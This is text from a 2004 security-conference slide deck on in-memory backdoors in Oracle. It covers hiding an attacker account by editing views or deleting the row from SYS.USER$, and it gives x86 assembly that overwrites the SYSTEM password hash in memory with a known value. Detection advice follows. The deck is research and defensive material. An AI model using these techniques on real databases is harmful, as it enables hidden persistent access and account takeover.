In-Memory Backdoors (A.k.a In-Memory "Rootkits") in Oracle: Consulting
In-Memory Backdoors (A.k.a In-Memory "Rootkits") in Oracle: Consulting
In-Memory Backdoors (A.k.a In-Memory "Rootkits") in Oracle: Consulting
N e xt G e n e ra tio n Se c u rity So ft w a re Lt d .
In-memory Backdoors
(a.k.a in-memory “rootkits”)
in Oracle
David Litchfield
NGS Consulting
N e xt G e n e ra tio n Se c u rity So ft w a re Lt d .
Who am I…
• David Litchfield
• Managing Director and Chief Research Scientist of
NGSSoftware
• Security Assessment Services
• Database Vulnerability Assessment Software
• Specialize in exploitation
• Database Security
• Moving into Forensic Assessment
NGS Consulting
N e xt G e n e ra tio n Se c u rity So ft w a re Lt d .
• Modify views
• Change view text of DBA_USERS and ALL_USERS so that
“hacker” account is not displayed
• Easy to spot as it requires modification to object
• Checksum code of view
• Maybe not so good…
• Need to extract view body from datafile
• Just use underlying table…
• SELECT NAME FROM SYS.USER$ WHERE TYPE# =1
MINUS SELECT USERNAME FROM SYS.DBA_USERS;
NGS Consulting
N e xt G e n e ra tio n Se c u rity So ft w a re Lt d .
Modify binaries…
• Alternatively
• CREATE the user
• Login
• Do direct DELETE from USER$
• Can still login despite no record in USER$
• Left in SGA
• Much more practical
• But attacker needs to re-infect if server is ever stopped…
NGS Consulting
N e xt G e n e ra tio n Se c u rity So ft w a re Lt d .
• Options…
• Runtime patching of code
• Changing entries in Import Address Table
• Manipulation of Data
• Delivery mechanisms…
• External Process
• Network Library
• Buffer overflow, format string bug, write dword to anywhere
flaw
NGS Consulting
N e xt G e n e ra tio n Se c u rity So ft w a re Lt d .
Example…
// This function in the Oracle binary gets the location
// of the supplied userid's password hash
// Push TLS (SGA) stuff onto the stack
push eax
push 0x03
// Destination - will hold pointer to userblock
lea eax, [ebp-0x10]
push eax
// Pointer to user_id we want - 5 for SYSTEM user
lea eax, [ebp-0x1C]
mov dword ptr[eax],0x05
push eax
push 7
// Hardcoded address of function in Oracle
mov eax, 0x008D7F3C
// execute it
call eax
NGS Consulting
N e xt G e n e ra tio n Se c u rity So ft w a re Lt d .
Example…
// once function returns eax points to user structure
// of system
mov eax, dword ptr[ebp-0x10]
// Adjust it to point to password hash in structure
lea eax, [eax+0xC2]
// EAX now points to password hash of SYSTEM
// Now set password to
// 2F5E C44C F3EE 4836
// this is the hash for s3cr3t
mov dword ptr[eax],0x45354632
mov dword ptr[eax+0x04],0x43343443
mov dword ptr[eax+0x08],0x45453346
mov dword ptr[eax+0x0C],0x36333834
NGS Consulting
N e xt G e n e ra tio n Se c u rity So ft w a re Lt d .
Vector
Screenshot 1
Sreenshot 2
NGS Consulting
N e xt G e n e ra tio n Se c u rity So ft w a re Lt d .
Screenshot 3
Detection
• Runtime Patching
• Hook calls to VirtualProtectEx etc
• IAT changes
• Again – quite easy to spot
• Changes to data that is supposed to change is much
more difficult to spot
• Sure we can protect the password hashes but what about
the bits that determine access rights? What about the bits
that determine P,Q or R… It’s impossible to watch
everything.
• Currently the best you can do is lock down the
servers and watch for abnormal activity!
NGS Consulting
N e xt G e n e ra tio n Se c u rity So ft w a re Lt d .
Questions?
Thank You
http://www.ngsconsulting.com/
Copyright © 2004. Next Generation Security Software Ltd. All other trade marks are the property of their respective owner, and are used in an editorial context without intent of infringement.